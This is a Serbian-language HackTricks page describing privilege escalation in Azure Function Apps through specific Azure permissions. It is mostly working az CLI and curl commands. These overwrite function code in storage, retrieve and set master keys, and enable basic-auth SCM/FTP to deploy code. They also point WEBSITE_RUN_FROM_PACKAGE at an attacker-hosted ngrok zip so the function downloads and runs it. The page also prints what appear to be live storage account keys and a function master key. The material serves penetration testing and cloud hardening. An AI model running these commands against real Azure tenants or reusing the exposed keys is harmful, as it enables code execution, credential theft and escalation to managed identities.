# Az - Functions App Privesc

{{#include ../../../banners/hacktricks-training.md}}

## Function Apps

Proverite sledeću stranicu za više informacija:

{{#ref}}
../az-services/az-function-apps.md
{{#endref}}

### Bucket Read/Write

Sa dozvolama za čitanje kontejnera unutar Storage Account-a koji čuva podatke funkcije, moguće je pronaći **različite kontejnere** (prilagođene ili sa unapred definisanim imenima) koji mogu sadržati **kod koji izvršava funkcija**.

Kada pronađete gde se kod funkcije nalazi, ako imate dozvole za pisanje nad njim, možete naterati funkciju da izvrši bilo koji kod i eskalirati privilegije na upravljane identitete povezane sa funkcijom.

- **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` i `WEBSITE_CONTENTSHARE`)

Kod funkcije se obično čuva unutar deljenog fajla. Sa dovoljno pristupa, moguće je izmeniti kod fajla i **naterati funkciju da učita proizvoljan kod**, što omogućava eskalaciju privilegija na upravljane identitete povezane sa funkcijom.

Ova metoda implementacije obično konfiguriše postavke **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** i **`WEBSITE_CONTENTSHARE`** koje možete dobiti od
```bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
```
Te konfiguracije će sadržati **Storage Account Key** koji Funkcija može koristiti za pristup kodu.

> [!CAUTION]
> Sa dovoljno dozvola za povezivanje na File Share i **modifikovanje skripte** koja se izvršava, moguće je izvršiti proizvoljan kod u Funkciji i eskalirati privilegije.

Sledeći primer koristi macOS za povezivanje na deljenje datoteka, ali se preporučuje da se takođe proveri sledeća stranica za više informacija o deljenju datoteka:

{{#ref}}
../az-services/az-file-shares.md
{{#endref}}
```bash
# Username is the name of the storage account
# Password is the Storage Account Key

# Open the connection to the file share
# Change the code of the script like /site/wwwroot/function_app.py

open "smb://<STORAGE-ACCOUNT>.file.core.windows.net/<FILE-SHARE-NAME>"
```
- **`function-releases`** (`WEBSITE_RUN_FROM_PACKAGE`)

Takođe je uobičajeno pronaći **zip izdanja** unutar fascikle `function-releases` u kontejneru Storage Account-a koji funkcijska aplikacija koristi u kontejneru **obično nazvanom `function-releases`**.

Obično će ova metoda implementacije postaviti `WEBSITE_RUN_FROM_PACKAGE` konfiguraciju u:
```bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-group>
```
Ova konfiguracija obično sadrži **SAS URL za preuzimanje** koda iz Storage Account-a.

> [!CAUTION]
> Sa dovoljno dozvola za povezivanje sa blob kontejnerom koji **sadrži kod u zip-u** moguće je izvršiti proizvoljan kod u Funkciji i eskalirati privilegije.

- **`github-actions-deploy`** (`WEBSITE_RUN_FROM_PACKAGE)` 

Baš kao u prethodnom slučaju, ako je implementacija izvršena putem Github Actions, moguće je pronaći folder **`github-actions-deploy`** u Storage Account-u koji sadrži zip koda i SAS URL do zip-a u podešavanju `WEBSITE_RUN_FROM_PACKAGE`.

- **`scm-releases`**`(WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` i `WEBSITE_CONTENTSHARE`)

Sa dozvolama za čitanje kontejnera unutar Storage Account-a koji čuva podatke funkcije, moguće je pronaći kontejner **`scm-releases`**. Tamo je moguće pronaći najnovije izdanje u **Squashfs filesystem file format** i stoga je moguće pročitati kod funkcije:
```bash
# List containers inside the storage account of the function app
az storage container list \
--account-name <acc-name> \
--output table

# List files inside one container
az storage blob list \
--account-name <acc-name> \
--container-name <container-name> \
--output table

# Download file
az storage blob download \
--account-name <res-group> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip

## Even if it looks like the file is a .zip, it's a Squashfs filesystem

# Install
brew install squashfs

# List contents of the filesystem
unsquashfs -l "/tmp/scm-latest-<app-name>.zip"

# Get all the contents
mkdir /tmp/fs
unsquashfs -d /tmp/fs /tmp/scm-latest-<app-name>.zip
```
Takođe je moguće pronaći **master i functions ključeve** pohranjene u skladišnom računu u kontejneru **`azure-webjobs-secrets`** unutar fascikle **`<app-name>`** u JSON datotekama koje možete pronaći unutra.

> [!CAUTION]
> Sa dovoljno dozvola za povezivanje na blob kontejner koji **sadrži kod u zip ekstenzijskoj datoteci** (koja zapravo jeste **`squashfs`**) moguće je izvršiti proizvoljan kod u Funkciji i eskalirati privilegije.
```bash
# Modify code inside the script in /tmp/fs adding your code

# Generate new filesystem file
mksquashfs /tmp/fs /tmp/scm-latest-<app-name>.zip  -b 131072 -noappend

# Upload it to the blob storage
az storage blob upload \
--account-name <storage-account> \
--container-name scm-releases \
--name scm-latest-<app-name>.zip \
--file /tmp/scm-latest-<app-name>.zip \
--overwrite
```
### `Microsoft.Web/sites/host/listkeys/action`

Ova dozvola omogućava da se prikažu funkcijski, master i sistemski ključevi, ali ne i ključ hosta, određene funkcije sa:
```bash
az functionapp keys list --resource-group <res_group> --name <func-name>
```
Sa master ključem je takođe moguće dobiti izvorni kod na URL-u kao što je:
```bash
# Get "script_href" from
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"

# Access
curl "<script-href>?code=<master-key>"
## Python example:
curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" -v
```
I da **promenite kod koji se izvršava** u funkciji sa:
```bash
# Set the code to set in the function in /tmp/function_app.py
## The following continues using the python example
curl -X PUT "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/function_app.py?code=RByfLxj0P-4Y7308dhay6rtuonL36Ohft9GRdzS77xWBAzFu75Ol5g==" \
--data-binary @/tmp/function_app.py \
-H "Content-Type: application/json" \
-H "If-Match: *" \
-v
```
### `Microsoft.Web/sites/functions/listKeys/action`

Ova dozvola omogućava dobijanje host ključa, od određene funkcije sa:
```bash
az rest --method POST --uri "https://management.azure.com/subscriptions/<subsription-id>/resourceGroups/<resource-group>/providers/Microsoft.Web/sites/<func-name>/functions/<func-endpoint-name>/listKeys?api-version=2022-03-01"
```
### `Microsoft.Web/sites/host/functionKeys/write`

Ova dozvola omogućava kreiranje/aktuelizaciju funkcijskog ključa specificirane funkcije sa:
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type functionKeys --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
### `Microsoft.Web/sites/host/masterKey/write`

Ova dozvola omogućava kreiranje/aktuelizaciju glavnog ključa za određenu funkciju sa:
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
> [!CAUTION]
> Zapamtite da sa ovim ključem možete takođe pristupiti izvoru koda i modifikovati ga kao što je objašnjeno ranije!

### `Microsoft.Web/sites/host/systemKeys/write`

Ova dozvola omogućava kreiranje/aktuelizaciju sistemskog funkcijskog ključa za određenu funkciju sa:
```bash
az functionapp keys set --resource-group <res_group> --key-name <key-name> --key-type masterKey --name <func-key> --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ==
```
### `Microsoft.Web/sites/config/list/action`

Ova dozvola omogućava pristup podešavanjima funkcije. Unutar ovih konfiguracija može biti moguće pronaći podrazumevane vrednosti **`AzureWebJobsStorage`** ili **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** koje sadrže **ključ naloga za pristup blob skladištu funkcije sa POTPUNIM dozvolama**.
```bash
az functionapp config appsettings list --name <func-name> --resource-group <res-group>
```
Pored toga, ova dozvola takođe omogućava dobijanje **SCM korisničkog imena i lozinke** (ako je omogućeno) sa:
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/publishingcredentials/list?api-version=2018-11-01"
```
### `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/write`

Ove dozvole omogućavaju da se prikažu konfiguracione vrednosti funkcije kao što smo ranije videli, plus **da se modifikuju te vrednosti**. Ovo je korisno jer ovi parametri ukazuju na to gde se nalazi kod koji treba izvršiti unutar funkcije.

Stoga je moguće postaviti vrednost podešavanja **`WEBSITE_RUN_FROM_PACKAGE`** koja pokazuje na URL zip datoteku koja sadrži novi kod koji treba izvršiti unutar web aplikacije:

- Počnite tako što ćete dobiti trenutnu konfiguraciju
```bash
az functionapp config appsettings list \
--name <app-name> \
--resource-group <res-name>
```
- Kreirajte kod koji želite da funkcija izvrši i javno ga hostujte.
```bash
# Write inside /tmp/web/function_app.py the code of the function
cd /tmp/web/function_app.py
zip function_app.zip function_app.py
python3 -m http.server

# Serve it using ngrok for example
ngrok http 8000
```
- Izmenite funkciju, zadržite prethodne parametre i dodajte na kraju konfiguraciju **`WEBSITE_RUN_FROM_PACKAGE`** koja pokazuje na URL sa **zip**-om koji sadrži kod.

Sledeći je primer mojih **vlastitih podešavanja koja ćete morati da promenite za svoja**, obratite pažnju na kraju na vrednosti `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, ovde sam hostovao aplikaciju.
```bash
# Modify the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/resourceGroups/Resource_Group_1/providers/Microsoft.Web/sites/newfunctiontestlatestrelease/config/appsettings?api-version=2023-01-01" \
--headers '{"Content-Type": "application/json"}' \
--body '{"properties": {"APPLICATIONINSIGHTS_CONNECTION_STRING": "InstrumentationKey=67b64ab1-a49e-4e37-9c42-ff16e07290b0;IngestionEndpoint=https://canadacentral-1.in.applicationinsights.azure.com/;LiveEndpoint=https://canadacentral.livediagnostics.monitor.azure.com/;ApplicationId=cdd211a7-9981-47e8-b3c7-44cd55d53161", "AzureWebJobsStorage": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net", "FUNCTIONS_EXTENSION_VERSION": "~4", "FUNCTIONS_WORKER_RUNTIME": "python", "WEBSITE_CONTENTAZUREFILECONNECTIONSTRING": "DefaultEndpointsProtocol=https;AccountName=newfunctiontestlatestr;AccountKey=gesefrkJxIk28lccvbTnuGkGx3oZ30ngHHodTyyVQu+nAL7Kt0zWvR2wwek9Ar5eis8HpkAcOVEm+AStG8KMWA==;EndpointSuffix=core.windows.net","WEBSITE_CONTENTSHARE": "newfunctiontestlatestrelease89c1", "WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"}}'
```
### `Microsoft.Web/sites/hostruntime/vfs/write`

Sa ovom dozvolom je **moguće modifikovati kod aplikacije** putem web konzole (ili putem sledeće API tačke):
```bash
# This is a python example, so we will be overwritting function_app.py
# Store in /tmp/body the raw python code to put in the function
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01" \
--headers '{"Content-Type": "application/json", "If-Match": "*"}' \
--body @/tmp/body
```
### `Microsoft.Web/sites/publishxml/action`, (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write`)

Ova dozvola omogućava da se prikažu svi profili za objavljivanje koji u suštini sadrže **basic auth credentials**:
```bash
# Get creds
az functionapp deployment list-publishing-profiles \
--name <app-name> \
--resource-group <res-name> \
--output json
```
Druga opcija bi bila da postavite svoje kredencijale i koristite ih pomoću:
```bash
az functionapp deployment user set \
--user-name DeployUser123456 g \
--password 'P@ssw0rd123!'
```
- Ako su **REDACTED** akreditivi

Ako vidite da su ti akreditivi **REDACTED**, to je zato što **morate omogućiti SCM osnovnu opciju autentifikacije** i za to vam je potrebna druga dozvola (`Microsoft.Web/sites/basicPublishingCredentialsPolicies/write):`
```bash
# Enable basic authentication for SCM
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/scm?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}'

# Enable basic authentication for FTP
az rest --method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/basicPublishingCredentialsPolicies/ftp?api-version=2022-03-01" \
--body '{
"properties": {
"allow": true
}
}
```
- **Method SCM**

Zatim, možete pristupiti sa ovim **osnovnim autentifikacionim podacima za SCM URL** vaše funkcijske aplikacije i dobiti vrednosti env varijabli:
```bash
# Get settings values
curl -u '<username>:<password>' \
https://<app-name>.scm.azurewebsites.net/api/settings -v

# Deploy code to the funciton
zip function_app.zip function_app.py # Your code in function_app.py
curl -u '<username>:<password>' -X POST --data-binary "@<zip_file_path>" \
https://<app-name>.scm.azurewebsites.net/api/zipdeploy
```
_Napomena da je **SCM korisničko ime** obično karakter "$" praćen imenom aplikacije, tako da: `$<app-name>`._

Možete takođe pristupiti veb stranici sa `https://<app-name>.scm.azurewebsites.net/BasicAuth`

Vrednosti podešavanja sadrže **AccountKey** skladišnog naloga koji čuva podatke funkcijske aplikacije, omogućavajući kontrolu nad tim skladišnim nalogom.

- **Metoda FTP**

Povežite se na FTP server koristeći:
```bash
# macOS install lftp
brew install lftp

# Connect using lftp
lftp -u '<username>','<password>' \
ftps://waws-prod-yq1-005dr.ftp.azurewebsites.windows.net/site/wwwroot/

# Some commands
ls # List
get ./function_app.py -o /tmp/ # Download function_app.py in /tmp
put /tmp/function_app.py -o /site/wwwroot/function_app.py # Upload file and deploy it
```
_Napomena da je **FTP korisničko ime** obično u formatu \<app-name>\\$\<app-name>._

### `Microsoft.Web/sites/hostruntime/vfs/read`

Ova dozvola omogućava **čitati izvorni kod** aplikacije putem VFS:
```bash
az rest --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
```
### `Microsoft.Web/sites/functions/token/action`

Sa ovom dozvolom je moguće [dobiti **admin token**](https://learn.microsoft.com/ca-es/rest/api/appservice/web-apps/get-functions-admin-token?view=rest-appservice-2024-04-01) koji se kasnije može koristiti za preuzimanje **master key** i tako pristupiti i izmeniti kod funkcije.

Međutim, u mojim poslednjim proverama nijedan token nije vraćen, tako da možda nije omogućen ili više ne funkcioniše, ali ovako biste to uradili:
```bash
# Get admin token
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/admin/token?api-version=2024-04-01"

# Get master key
curl "https://<app-name>.azurewebsites.net/admin/host/systemkeys/_master" \
-H "Authorization: Bearer <token>"
```
### `Microsoft.Web/sites/config/write`, (`Microsoft.Web/sites/functions/properties/read`)

Ova dozvola omogućava **omogućavanje funkcija** koje mogu biti onemogućene (ili njihovo onemogućavanje).
```bash
# Enable a disabled function
az functionapp config appsettings set \
--name <app-name> \
--resource-group <res-group> \
--settings "AzureWebJobs.http_trigger1.Disabled=false"
```
Takođe je moguće videti da li je funkcija omogućena ili onemogućena na sledećem URL-u (koristeći dozvolu u zagradi):
```bash
az rest --url "https://management.azure.com/subscriptions/<subscripntion-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions/<func-name>/properties/state?api-version=2024-04-01"
```
### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`)

Sa ovim dozvolama moguće je **modifikovati kontejner koji pokreće funkcijska aplikacija** konfigurisana da pokreće kontejner. To bi omogućilo napadaču da otpremi zloćudnu azure funkcijsku kontejnersku aplikaciju na docker hub (na primer) i natera funkciju da je izvrši.
```bash
az functionapp config container set --name <app-name> \
--resource-group <res-group> \
--image "mcr.microsoft.com/azure-functions/dotnet8-quickstart-demo:1.0"
```
### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`)

Sa ovim dozvolama moguće je **priključiti novu korisničku upravljanu identitet** na funkciju. Ako je funkcija kompromitovana, to bi omogućilo eskalaciju privilegija na bilo koji korisnički upravljani identitet.
```bash
az functionapp identity assign \
--name <app-name> \
--resource-group <res-group> \
--identities /subscriptions/<subs-id>/providers/Microsoft.ManagedIdentity/userAssignedIdentities/<mi-name>
```
### Remote Debugging

Takođe je moguće povezati se i debagovati pokrenutu Azure funkciju kao [**objašnjeno u dokumentaciji**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Međutim, podrazumevano će Azure isključiti ovu opciju za 2 dana u slučaju da programer zaboravi kako bi se izbeglo ostavljanje ranjivih konfiguracija.

Moguće je proveriti da li funkcija ima omogućeno debagovanje sa:
```bash
az functionapp show --name <app-name> --resource-group <res-group>
```
Imajući dozvolu `Microsoft.Web/sites/config/write`, takođe je moguće staviti funkciju u režim debagovanja (sledeća komanda takođe zahteva dozvole `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/Read` i `Microsoft.Web/sites/Read`).
```bash
az functionapp config set --remote-debugging-enabled=True --name <app-name> --resource-group <res-group>
```
### Promena Github repozitorijuma

Pokušao sam da promenim Github repozitorijum sa kojeg se vrši implementacija izvršavanjem sledećih komandi, ali čak i ako se promenio, **novi kod nije učitan** (verovatno zato što očekuje da Github Action ažurira kod).\
Pored toga, **federisana akreditivna identitet upravljanja nije ažurirana** da dozvoli novi repozitorijum, tako da izgleda da ovo nije od velike koristi.
```bash
# Remove current
az functionapp deployment source delete \
--name funcGithub \
--resource-group Resource_Group_1

# Load new public repo
az functionapp deployment source config \
--name funcGithub \
--resource-group Resource_Group_1 \
--repo-url "https://github.com/orgname/azure_func3" \
--branch main --github-action true
```
{{#include ../../../banners/hacktricks-training.md}}
